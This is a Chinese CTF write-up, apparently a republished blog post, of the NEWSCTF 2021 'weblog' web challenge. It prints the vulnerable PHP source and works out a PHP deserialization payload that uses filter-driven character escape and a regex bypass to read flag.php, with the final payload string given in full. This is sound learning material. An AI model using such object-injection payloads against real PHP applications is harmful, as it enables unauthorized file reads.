2021.6.1 NEWSCTF 萌新赛 -- Web --- weblog ---反序列化

Posted Zero_Adam

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2021.6.1 NEWSCTF 萌新赛 -- Web --- weblog ---反序列化相关的知识,希望对你有一定的参考价值。

一、学到的知识

  1. 这个代码审计,专门给字符逃逸用的过滤的东西要用上,
  2. 关于思路,可以先慢慢来,一步一步debug看看我们需不需要字符逃逸,逃逸那些东西,在哪里进行逃逸。

二、学习WP

这个题,最后还是云里雾里的,,没有弄得十分清楚

直接给了源码:

 <?php
highlight_file(__FILE__);
error_reporting(0);
class B{
    public $logFile;
    public $initMsg;
    public $exitMsg;
  
    function __construct($file){
        // initialise variables
        $this->initMsg="#--session started--#\\n";
        $this->exitMsg="#--session end--#\\n";
        $this->logFile =  $file;
        readfile($this->logFile);
        
    }
  
    function log($msg){
        $fd=fopen($this->logFile,"a+");
        fwrite($fd,$msg."\\n");
        fclose($fd);
    }
  
    function __destruct(){
        echo "this is destruct";
    }
}

class A {
    public $file = 'flag{xxxxxxxx}';
    public $weblogfile;
    
    function __construct() {
        echo $this->file;
    }

    function __wakeup(){
        // self::waf($this->filepath);
        $obj = new B($this->weblogfile);

    }

    public function waf($str){
        $str=preg_replace("/[<>*#'|?\\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }

    function __destruct(){
        echo "this is destruct";
    }

}
class C {
    public $file;
    public $weblogfile;
}
class D{
    public $logFile;
    public $initMsg;
    public $exitMsg;
}

function is_serialized($data){

    $r = preg_match_all('/:\\d*?:"/',$data,$m,PREG_OFFSET_CAPTURE);
    if(!empty($r)) {
        foreach($m[0] as $v){
            $a = intval($v[1])+strlen($v[0])+intval(substr($v[0],1));
            if($data[$a] !== '"')
                 return false;
        }
    }
    if(!is_string($data))
        return false;
    $data = trim($data);
    if('N;' === $data)
        return true;
    if(!preg_match('/^([adObis]):/',$data,$badions))
        return false;
    switch($badions[1]){
        case 'a':
        case 'O':
        case 's':
            if(preg_match( "/^{$badions[1]}:[0-9]+:.*[;}]\\$/s", $data ) )
                return true;
            break;
        case 'b':
        case 'i':
        case 'd':
            if(preg_match("/^{$badions[1]}:[0-9.E-]+;\\$/", $data))
                return true;
            break;
    }
    return false;

}
$log = $_GET['log'];
if(!is_serialized($log)){
    die('no1');
}
$log1 = preg_replace("/A/","C",$log);
$log2 = preg_replace("/B/","D",$log1);
if(!unserialize($log2)){
    die('no2');
}
$log = preg_replace("/[<>*#'|?\\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>
no1

看了WP,没看明白,不知道为什么这样子去构造,
然后 自己按照最初的思路一点一点的去消化,吸收,

正常思路的构造,因为最基本的思路就是

A类执行反序列化。new一个B类,然后B类初始化 , readfile flag.php ,就行。

在这里插入图片描述
生成这个,

O:1:"A":2:{s:4:"file";s:4:"aaaa";s:10:"weblogfile";s:8:"flag.php";}

然后放入程序中debug一下看看流程,

log1,log2是来检查是不是 正规的unserialize的,我们只要正常序列化,就不会出错的。

在这里插入图片描述
然后看 $log这个,最后一步会把 flag 替换为 空,那么我们双写绕过一下看看,

在这里插入图片描述
双写是绕过了。但是字符个数不匹配,就导致最后一步(也是最重要的一步)反序列化失败,
在这里插入图片描述
那我们就想到修改字符个数,比如这里换成 8 个,但是这样的话,之前的is_serialize()函数就会生效,检查出我们的问题来,就没有办法了。

那就绕过is_serialzie()函数嘛!!!
在这里插入图片描述
WP说是

:<8:绕过正则匹配
$r = preg_match_all('/:\\d*?:"/',$data,$m,PREG_OFFSET_CAPTURE);

怎么反序列化都是失败了。还能够成功destruct啊。

我本地试了试!!!这都能够反序列化成功???

在这里插入图片描述

这这这,都能成功???
在这里插入图片描述

那么既然随便加一些字符也能继续执行,那么来吧。

这个是正常的,12个字符,

O:1:"A":2:{s:4:"file";s:4:"aaaa";s:10:"weblogfile";s:12:"flflagag.php";}

因为后来会过滤一个flag。所以就换成8

O:1:"A":2:{s:4:"file";s:4:"aaaa";s:10:"weblogfile";s:8:"flflagag.php";}

但是 8 的话,会被这个匹配到,进而检测出出来,这个不是一个正确的反序列化字符穿,然后就返回 no1 了。
在这里插入图片描述
那就随便加上一个字符,反正又不报错:

O:1:"A":2:{s:4:"file";s:4:"aaaa";s:10:"weblogfile";s:w8:"flflagag.php";}

但是在log2反序列化的时候就出问题了。报错,然后unserialize失败,判断正确,就die 了。。。
在这里插入图片描述
刚刚明白了一些,WP用:<8:绕过,是因为后面这理由这个清除的功能,
在这里插入图片描述

会报错的。那我们也要保证 log2 也会反序列化成功,加上字符逃逸的想法,

我们要绕过log2 的反序列化检测,

总体思路就是, 他要检测是否是一个正常的反序列化字符串,如果我们出现了 flag 等字样,那肯定是不行了的。因为给过滤掉之后,反序列化就会失败了。

但是直接修改的话,又会被 检查出来,

那么解决方法就是 ,我们 用正常的字符串,然后 把恶意字符串当作一个属性的内容,然后通过 字符逃逸 ,来把我们这个属性给逃逸出来,这样思路就来了。

最后是这个样子

$log = 'O:1:"A":2:{s:4:"file";s:25:"flagflagflagflagflagflag>";s:10:"weblogfile";s:40:";s:10:"weblogfile";s:<8:"flflagag.php";}";}';

其实这两个都是为 字符逃逸服务的。一个提供4个,一个可以提供单个的,
在这里插入图片描述
这里来个 > 是因为我们发现后面需要25个字符才能够逃逸成功
在这里插入图片描述
这里虽然是在 一个内容里面,但是会被那个正则给匹配到。 所以加上一个 < 正则就匹配不到了。然后也能在后面的 过滤中 去掉,从而 unserialize成功,

在这里插入图片描述

所以最后payload就是这个了。

在这里插入图片描述
尝试读取其他文件,注意 需要分析 逃逸的字符数量,

在这里插入图片描述
在这里插入图片描述

官方WP:

在这里插入图片描述
在这里插入图片描述

以上是关于2021.6.1 NEWSCTF 萌新赛 -- Web --- weblog ---反序列化的主要内容,如果未能解决你的问题,请参考以下文章

2021.6.1萌新赛-impossible ip FastCGI 攻击 php-fpm简单的绑定 公网 127.0.0.1的 9000 地址 -- 注意 waf

------------已搬运----2021.6.1萌新赛-impossible ip FastCGI 攻击 php-fpm简单的绑定 公网 127.0.0.1的 9000 地址 -- 注意 waf

CTFshow萌新赛-萌新福利

CTFshow萌新赛-千字文

CTFshow-萌新赛逆向_签退

CTFshow-萌新赛杂项_劝退警告